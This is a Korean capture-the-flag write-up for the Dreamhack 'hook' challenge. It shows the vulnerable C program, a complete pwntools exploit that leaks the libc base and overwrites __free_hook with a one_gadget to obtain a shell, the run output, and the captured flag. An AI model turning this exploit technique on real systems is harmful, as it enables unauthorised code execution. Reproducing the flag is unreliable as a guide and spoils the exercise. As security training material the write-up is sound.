[Dreamhack] hook

문제 코드

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);
   
    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

• printf("stdout: %p\n", stdout)에서 stdout을 이용해서 base를 구할 수 있습니다.

• *(long )ptr = *(ptr+1)을 보면 주소를 덮을 수는 있는데 free(ptr)이라 인자를 전달할 수는 없을 거 같습니다.

원 가젯으로 익스플로잇 코드를 짜보면

from pwn import *

def slog(name ,addr):
        return success(": ".join([name, hex(addr)]))

one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

p = remote("host3.dreamhack.games", 18364)
e = ELF("./hook")
libc = ELF("./libc.so.6")


# [1] Leak base
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
base = stdout - libc.symbols["_IO_2_1_stdout_"]
free_hook = base + libc.symbols["__free_hook"]
og = base + one_gadget[1]

slog("STDOUT", stdout)
slog("base", base)
slog("one gadget", og)


# [2] Exploit
payload = p64(free_hook) + p64(og)	# free_hook = one_gadget

p.sendlineafter("Size: ", "400")
p.sendlineafter("Data: ", payload)

p.interactive()

코드를 실행시켜보면

 kali@kali  ~/wargame/dreamhack/hook  python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 18364: Done
[*] '/home/kali/wargame/dreamhack/hook/hook'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/kali/wargame/dreamhack/hook/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
/home/kali/wargame/dreamhack/hook/exploit.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("stdout: ")
[+] STDOUT: 0x7ff2cbef7620
[+] base: 0x7ff2cbb32000
[+] one gadget: 0x7ff2cbb7726a
/home/kali/wargame/dreamhack/hook/exploit.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter("Size: ", "400")
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
$

공격에 성공해서 쉘이 떴습니다.

플래그 파일을 출력해보면

$ ls
flag
hook
$ cat flag
DH{5203c83c34143bab58f653d1c1339016}[*] Got EOF while reading in interactive